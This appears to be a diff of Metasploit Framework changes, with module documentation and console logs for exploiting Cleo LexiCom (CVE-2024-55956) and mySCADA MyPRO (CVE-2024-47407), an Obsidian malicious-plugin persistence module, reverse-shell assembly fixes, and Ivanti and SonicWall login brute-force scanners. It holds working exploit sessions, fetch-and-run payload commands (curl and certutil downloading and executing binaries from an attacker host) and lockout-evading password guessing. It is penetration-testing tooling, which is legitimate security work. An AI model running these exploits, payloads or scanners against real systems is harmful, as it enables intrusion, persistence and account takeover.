Id Name
|
||||
-- ----
|
||||
0 Java
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
|
||||
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
[*] Sending stage (58073 bytes) to 192.168.86.50
|
||||
[+] Deleted temp/iidqizro
|
||||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000
|
||||
[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: WIN-V28QNSO2H05$
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 10.0 (amd64)
|
||||
Architecture : x64
|
||||
System Language : en_IE
|
||||
Meterpreter : java/windows
|
||||
meterpreter > pwd
|
||||
C:\LexiCom
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Windows Command
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50
|
||||
RHOSTS => 192.168.86.50
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0
|
||||
LHOST => 192.168.86.42
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444
|
||||
LPORT => 4444
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options
|
||||
|
||||
Module options (exploit/multi/http/cleo_rce_cve_2024_55956):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 5080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
EXTENSIONS no Comma-separate list of extensions to load
|
||||
EXTINIT no Initialization strings for extensions
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME APpIYmSCo no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check
|
||||
[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022)
|
||||
[+] Deleted temp/hzbcsche
|
||||
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:59175) at 2024-12-17 13:42:09 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V28QNSO2H05
|
||||
OS : Windows Server 2022 (10.0 Build 20348).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 1
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
C:\LexiCom
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,124 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module searches for Obsidian vaults for a user, and uploads a malicious
|
||||
community plugin to the vault. The vaults must be opened with community
|
||||
plugins enabled (NOT restricted mode), but the plugin will be enabled
|
||||
automatically.
|
||||
|
||||
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
|
||||
|
||||
### Debugging
|
||||
|
||||
To open the console (similar to chrome), use `ctr+shift+i`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Get a user shell on the target
|
||||
4. Do: `use multi/local/obsidian_plugin_persistence`
|
||||
5. Do: Select a shell which will work on your target OS
|
||||
6. Do: `run`
|
||||
7. You should get a shell when the target user opens the vault without restricted mode.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the plugin. Defaults to being randomly generated.
|
||||
|
||||
### USER
|
||||
|
||||
The user to target. Defaults the user the shell was obtained under.
|
||||
|
||||
### CONFIG
|
||||
|
||||
Config file location on target. Defaults to empty which will search the default locations.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version and OS
|
||||
|
||||
Get a user shell.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1
|
||||
session => 1
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit
|
||||
|
||||
[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc &
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using plugin name: xQem
|
||||
[*] Target User: ubuntu
|
||||
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json
|
||||
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test
|
||||
[*] Uploading plugin to vault /home/ubuntu/Documents/test
|
||||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js
|
||||
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json
|
||||
[*] Found 1 enabled community plugins (sX2sv4)
|
||||
[*] adding xQem to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA
|
||||
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubuntu
|
||||
meterpreter > sysinfo
|
||||
Computer : 2.2.2.2
|
||||
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Obsidian 1.7.7 on Windows 10
|
||||
|
||||
```
|
||||
|
||||
msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit
|
||||
[*] Reloading module...
|
||||
|
||||
[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Using plugin name: pPq0K
|
||||
[*] Target User: h00die
|
||||
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json
|
||||
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault
|
||||
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault
|
||||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js
|
||||
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json
|
||||
[*] Found 0 enabled community plugins ()
|
||||
[*] adding pPq0K to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0)
|
||||
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
|
||||
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent)
|
||||
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-3ASD0R4\h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-3ASD0R4
|
||||
OS : Windows 10 (10.0 Build 19044).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
@@ -1,6 +1,7 @@
|
||||
## Introduction
|
||||
|
||||
This module is based on the work that was done by @leechristensen and @sekirkity as documented [here](http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
|
||||
This module is based on the work that was done by @leechristensen and @sekirkity as
|
||||
documented [here](https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerability Description**
|
||||
|
||||
This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407).
|
||||
|
||||
An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
|
||||
`myscada9`, an administrative user that is automatically added by the product during installation.
|
||||
|
||||
Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover
|
||||
the security issues. The official changelog from the vendor for the updated version is available
|
||||
[here](https://www.myscada.org/docs/5-11-2024/).
|
||||
|
||||
**Vulnerable Application Installation**
|
||||
|
||||
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
|
||||
3. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/scada/mypro_mgr_cmd
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS <IP>
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
|
||||
```
|
||||
|
||||
You should get a meterpreter session in the context of `myscada9`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the
|
||||
following:
|
||||
|
||||
```
|
||||
msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.227:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[*] Sending stage (201798 bytes) to 192.168.1.228
|
||||
[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500
|
||||
[*] Exploit finished, check thy shell.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: asdf\myscada9
|
||||
meterpreter > sysinfo
|
||||
Computer : asdf
|
||||
OS : Windows 11 (10.0 Build 22621).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 3
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
@@ -77,6 +77,10 @@ read_loop:
|
||||
svc 0
|
||||
cmn x0, #0x1
|
||||
beq failed
|
||||
mov x2, x0 // The 'sync' syscall was added to fix a strange bug in RaspberryPi 4
|
||||
mov x8, #0x51 // More information here:
|
||||
svc 0 // https://github.com/rapid7/metasploit-framework/pull/19875
|
||||
mov x0, x2 //
|
||||
add x3, x3, x0
|
||||
subs x4, x4, x0
|
||||
bne read_loop
|
||||
|
||||
@@ -75,10 +75,10 @@ _start:
|
||||
@ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
|
||||
add r7,#99 @ __NR_recv
|
||||
mov r1,r0 @ *buf
|
||||
mov r0,r12 @ sockfd
|
||||
mov r3,#0 @ flags
|
||||
@ remove blocksize from total length
|
||||
loop:
|
||||
mov r0,r12 @ sockfd
|
||||
ldr r2,[sp,#0]
|
||||
sub r2,#1000
|
||||
str r2,[sp,#0]
|
||||
|
||||
@@ -212,6 +212,23 @@ module Metasploit::Framework
|
||||
# @return [Boolean]
|
||||
attr_accessor :anonymous_login
|
||||
|
||||
# @!attribute ignore_private
|
||||
# Whether to ignore private (password). This is usually set when Kerberos
|
||||
# or Schannel authentication is requested and the credentials are
|
||||
# retrieved from cache or from a file. This attribute should be true in
|
||||
# these scenarios, otherwise validation will fail since the password is not
|
||||
# provided.
|
||||
# @return [Boolean]
|
||||
attr_accessor :ignore_private
|
||||
|
||||
# @!attribute ignore_public
|
||||
# Whether to ignore public (username). This is usually set when Schannel
|
||||
# authentication is requested and the credentials are retrieved from a
|
||||
# file (certificate). This attribute should be true in this case,
|
||||
# otherwise validation will fail since the password is not provided.
|
||||
# @return [Boolean]
|
||||
attr_accessor :ignore_public
|
||||
|
||||
# @option opts [Boolean] :blank_passwords See {#blank_passwords}
|
||||
# @option opts [String] :pass_file See {#pass_file}
|
||||
# @option opts [String] :password See {#password}
|
||||
@@ -240,7 +257,13 @@ module Metasploit::Framework
|
||||
# @yieldparam credential [Metasploit::Framework::Credential]
|
||||
# @return [void]
|
||||
def each_filtered
|
||||
if password_spray
|
||||
if ignore_private
|
||||
if ignore_public
|
||||
yield Metasploit::Framework::Credential.new(public: nil, private: nil, realm: realm)
|
||||
else
|
||||
yield Metasploit::Framework::Credential.new(public: username, private: nil, realm: realm)
|
||||
end
|
||||
elsif password_spray
|
||||
each_unfiltered_password_first do |credential|
|
||||
next unless self.filter.nil? || self.filter.call(credential)
|
||||
|
||||
@@ -510,14 +533,14 @@ module Metasploit::Framework
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_users?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty?
|
||||
username.present? || user_file.present? || userpass_file.present? || !additional_publics.empty? || !!ignore_public
|
||||
end
|
||||
|
||||
# Returns true when there are any private values set
|
||||
#
|
||||
# @return [Boolean]
|
||||
def has_privates?
|
||||
super || userpass_file.present? || user_as_pass
|
||||
super || userpass_file.present? || user_as_pass || !!ignore_private
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -126,6 +126,8 @@ module Metasploit
|
||||
return 'vnc'
|
||||
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
|
||||
return 'pbkdf2-sha256'
|
||||
when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/
|
||||
return 'timeroast'
|
||||
end
|
||||
''
|
||||
end
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# Ivanti Login Scanner supporting
|
||||
# - User Login
|
||||
# - Admin Login
|
||||
class Ivanti < HTTP
|
||||
|
||||
DEFAULT_SSL_PORT = 443
|
||||
LIKELY_PORTS = [443]
|
||||
LIKELY_SERVICE_NAMES = [
|
||||
'Ivanti Connect Secure'
|
||||
]
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, admin)
|
||||
@admin = admin
|
||||
super(scanner_config)
|
||||
end
|
||||
|
||||
def check_setup
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_default/welcome.cgi')
|
||||
}
|
||||
|
||||
res = send_request(request_params)
|
||||
|
||||
if res && res.code == 200 && res.body&.include?('Ivanti Connect Secure')
|
||||
return false
|
||||
end
|
||||
|
||||
'Application might not be Ivanti Connect Secure, please check'
|
||||
end
|
||||
|
||||
def create_admin_request(username, password, token, protocol, peer)
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_admin/login.cgi'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' =>
|
||||
{
|
||||
'Origin' => "#{protocol}://#{peer}",
|
||||
'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_admin/welcome.cgi"
|
||||
},
|
||||
'vars_post' => {
|
||||
tz_offset: '60',
|
||||
xsauth_token: token,
|
||||
username: username,
|
||||
password: password,
|
||||
realm: 'Admin+Users',
|
||||
btnSubmit: 'Sign+In'
|
||||
|
||||
},
|
||||
'encode_params' => false
|
||||
}
|
||||
end
|
||||
|
||||
def do_admin_logout(cookies)
|
||||
admin_page_res = send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-admin/misc/admin.cgi?'), 'cookie' => cookies })
|
||||
admin_page_s = admin_page_res.to_s
|
||||
re = /xsauth=[a-z0-9]{32}/
|
||||
xsauth = re.match(admin_page_s)
|
||||
|
||||
return nil if xsauth.nil?
|
||||
|
||||
send_request({ 'method' => 'GET', 'uri' => normalize_uri('/dana-na/auth/logout.cgi?' + xsauth[0]), 'cookie' => cookies })
|
||||
end
|
||||
|
||||
def get_token
|
||||
res = send_request({
|
||||
'uri' => normalize_uri('/dana-na/auth/url_admin/welcome.cgi')
|
||||
})
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
|
||||
html_document = res.get_html_document
|
||||
html_document.xpath('//input[@id="xsauth_token"]/@value')&.text
|
||||
end
|
||||
|
||||
def do_admin_login(username, password)
|
||||
token = get_token
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if token.blank?
|
||||
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
admin_req = create_admin_request(username, password, token, protocol, peer)
|
||||
begin
|
||||
res = send_request(admin_req)
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_admin/welcome.cgi?p=admin%2Dconfirm'
|
||||
|
||||
if res.headers['location'] == '/dana-admin/misc/admin.cgi'
|
||||
do_admin_logout(res.get_cookies)
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s }
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s }
|
||||
end
|
||||
|
||||
def create_user_request(username, password, protocol, peer)
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/dana-na/auth/url_default/login.cgi'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers' =>
|
||||
{
|
||||
'Origin' => "#{protocol}://#{peer}",
|
||||
'Referer' => "#{protocol}://#{peer}/dana-na/auth/url_default/welcome.cgi"
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
tz_offset: '',
|
||||
win11: '',
|
||||
clientMAC: '',
|
||||
username: username,
|
||||
password: password,
|
||||
realm: 'Users',
|
||||
btnSubmit: 'Sign+In'
|
||||
},
|
||||
'encode_params' => false
|
||||
}
|
||||
end
|
||||
|
||||
def do_logout(cookies)
|
||||
send_request({ 'uri' => normalize_uri('/dana-na/auth/logout.cgi?delivery=psal'), 'cookie' => cookies })
|
||||
end
|
||||
|
||||
def do_login(username, password)
|
||||
protocol = ssl ? 'https' : 'http'
|
||||
peer = "#{host}:#{port}"
|
||||
user_req = create_user_request(username, password, protocol, peer)
|
||||
begin
|
||||
res = send_request(user_req)
|
||||
rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the Ivanti service' } if res.nil?
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: "Received an unexpected status code: #{res.code}" } if res.code != 302
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unexpected response' } if !res.headers&.key?('location')
|
||||
|
||||
if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=ip%2Dblocked'
|
||||
sleep(2 * 60) # 2 minutes
|
||||
res = send_request(user_req)
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res.headers['location'] == '/dana-na/auth/url_default/welcome.cgi?p=user%2Dconfirm'
|
||||
|
||||
if res.headers['location'] == '/dana/home/starter0.cgi?check=yes'
|
||||
do_logout(res.get_cookies)
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s }
|
||||
else
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s }
|
||||
end
|
||||
end
|
||||
|
||||
# Attempts to login to the server.
|
||||
#
|
||||
# @param [Metasploit::Framework::Credential] credential The credential information.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
# focus on creating Result object, pass it to #login routine and return Result object
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: @host,
|
||||
port: @port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'ivanti'
|
||||
}
|
||||
|
||||
if @admin
|
||||
login_result = do_admin_login(credential.public, credential.private)
|
||||
else
|
||||
login_result = do_login(credential.public, credential.private)
|
||||
end
|
||||
|
||||
result_options.merge!(login_result)
|
||||
Result.new(result_options)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,153 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# SonicWall Login Scanner supporting
|
||||
# - User Login
|
||||
# - Admin Login
|
||||
class SonicWall < HTTP
|
||||
|
||||
DEFAULT_SSL_PORT = [443, 4433]
|
||||
LIKELY_PORTS = [443, 4433]
|
||||
LIKELY_SERVICE_NAMES = [
|
||||
'SonicWall Network Security'
|
||||
]
|
||||
PRIVATE_TYPES = [:password]
|
||||
REALM_KEY = nil
|
||||
|
||||
def initialize(scanner_config, domain)
|
||||
@domain = domain
|
||||
super(scanner_config)
|
||||
end
|
||||
|
||||
def req_params_base
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('/api/sonicos/auth'),
|
||||
'ctype' => 'application/json',
|
||||
# Force SSL as the application uses non-standard TCP port for HTTPS - 4433
|
||||
'ssl' => true
|
||||
}
|
||||
end
|
||||
|
||||
def auth_details_req
|
||||
params = req_params_base
|
||||
|
||||
#
|
||||
# Admin and SSLVPN user login procedure differs only in usage of domain field in JSON data
|
||||
#
|
||||
params.merge!({
|
||||
'data' => JSON.pretty_generate(@domain.empty? ? {
|
||||
'override' => false,
|
||||
'snwl' => true
|
||||
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
|
||||
})
|
||||
return params
|
||||
end
|
||||
|
||||
def auth_req(header)
|
||||
params = req_params_base
|
||||
|
||||
params.merge!({
|
||||
'headers' =>
|
||||
{
|
||||
'Authorization' => header.join(', ')
|
||||
}
|
||||
})
|
||||
|
||||
params.merge!({
|
||||
'data' => JSON.pretty_generate(@domain.empty? ? {
|
||||
'override' => false,
|
||||
'snwl' => true
|
||||
} : { 'domain' => @domain, 'override' => false, 'snwl' => true })
|
||||
})
|
||||
|
||||
return params
|
||||
end
|
||||
|
||||
def get_auth_details(username, password)
|
||||
send_request(auth_details_req)
|
||||
end
|
||||
|
||||
def try_login(header)
|
||||
send_request(auth_req(header))
|
||||
end
|
||||
|
||||
def get_resp_msg(msg)
|
||||
msg.dig('status', 'info', 0, 'message')
|
||||
end
|
||||
|
||||
def check_setup
|
||||
request_params = {
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('/sonicui/7/login/')
|
||||
}
|
||||
res = send_request(request_params)
|
||||
if res&.code == 200 && res.body&.include?('SonicWall')
|
||||
return false
|
||||
end
|
||||
|
||||
'Unable to locate "SonicWall" in body. (Is this really SonicWall?)'
|
||||
end
|
||||
|
||||
#
|
||||
# The login procedure is two-step procedure for SonicWall due to HTTP Digest Authentication. In the first request, client receives data,cryptographic hashes and algorithm selection from server. It should calculate final response hash from username, password and additional data received from server. The second request contains all this information.
|
||||
#
|
||||
def do_login(username, password, depth)
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Waiting too long in lockout' } if depth >= 2
|
||||
|
||||
#-- get authentication details from first request
|
||||
res = get_auth_details(username, password)
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Invalid response' } unless res
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Failed to receive a authentication details' } unless res&.headers && res.headers.key?('X-SNWL-Authenticate')
|
||||
|
||||
res.headers['X-SNWL-Authenticate'] =~ /Digest (.*)/
|
||||
|
||||
parameters = {}
|
||||
::Regexp.last_match(1).split(/,[[:space:]]*/).each do |p|
|
||||
k, v = p.split('=', 2)
|
||||
parameters[k] = v.gsub('"', '')
|
||||
end
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Incorrect authentication header' } if parameters.empty?
|
||||
|
||||
digest_auth = Rex::Proto::Http::AuthDigest.new
|
||||
auth_header = digest_auth.digest(username, password, 'POST', '/api/sonicos/auth', parameters)
|
||||
return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Could not calculate hash' } unless auth_header
|
||||
|
||||
#-- send the actual request with all hashes and information
|
||||
|
||||
res = try_login(auth_header)
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.to_s } if res&.code == 200
|
||||
|
||||
|
||||
msg_json = res.get_json_document
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res.to_s } unless msg_json
|
||||
msg = get_resp_msg(msg_json)
|
||||
|
||||
if msg == 'User is locked out'
|
||||
sleep(5 * 60)
|
||||
return do_login(username, password, depth + 1)
|
||||
end
|
||||
|
||||
return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: msg }
|
||||
end
|
||||
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: @host,
|
||||
port: @port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'sonicwall'
|
